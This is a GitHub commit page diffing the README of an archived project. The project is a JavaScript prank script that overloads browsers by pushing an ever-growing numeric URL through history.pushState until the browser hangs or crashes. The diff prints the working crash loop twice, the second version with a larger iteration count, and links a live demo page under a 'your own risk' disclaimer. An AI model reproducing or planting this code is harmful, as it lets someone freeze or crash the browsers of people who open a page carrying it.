Skip to content
This repository was archived by the owner on May 7, 2022. It is now read-only.

Commit 31c699c

Browse files
authored
Update README.md
1 parent 37793b7 commit 31c699c

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

README.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,11 @@ Simple JS script that overloads the browser with a huge URL (Where it gets its n
44

55
## Demo
66

7-
Why GIFs when you can see it working live? Visit [this](https://fuk.netlify.app) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya!
7+
Visit [this](https://fuk.netlify.app) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya!
88

99
## The url
1010

11-
You can see an example of the generated URL in [SAMPLE-URL.md](SAMPLE-URL.md), its huge and note the pattern (123456789101112131415....)
11+
You can see an example of the generated URL in [SAMPLE-URL.md](SAMPLE-URL.md), its huge and this is a result of running it for 200 ms.
1212

1313
## The code
1414

@@ -18,12 +18,12 @@ The code exploits the [HTML5 pushState](https://developer.mozilla.org/en-US/docs
1818

1919
Instead of just changing the path from `website.com/pageone` to `website.com/pagetwo` it creates a string of numbers long enough to slow the browser until it won't function, hang, or crash.
2020

21-
```javascript
22-
var total = ""; //blank variable
23-
for( var i = 0; i < 10000000; i++ ) { //increases the value of 'i' by 1 till it becomes 10000000
24-
total = total + i.toString(); //adds the value of 'i' to total everytime it increases
25-
history.pushState(0,0, total ); //sends the value of total to the url to load
26-
} //The End XD
21+
```js
22+
var total = "";
23+
for( var i = 0; i < 10000000000000; i++ ) {
24+
total += i.toString();
25+
history.pushState(0,0, total );
26+
}
2727
```
2828

2929
## Need for Myriad

0 commit comments

Comments
 (0)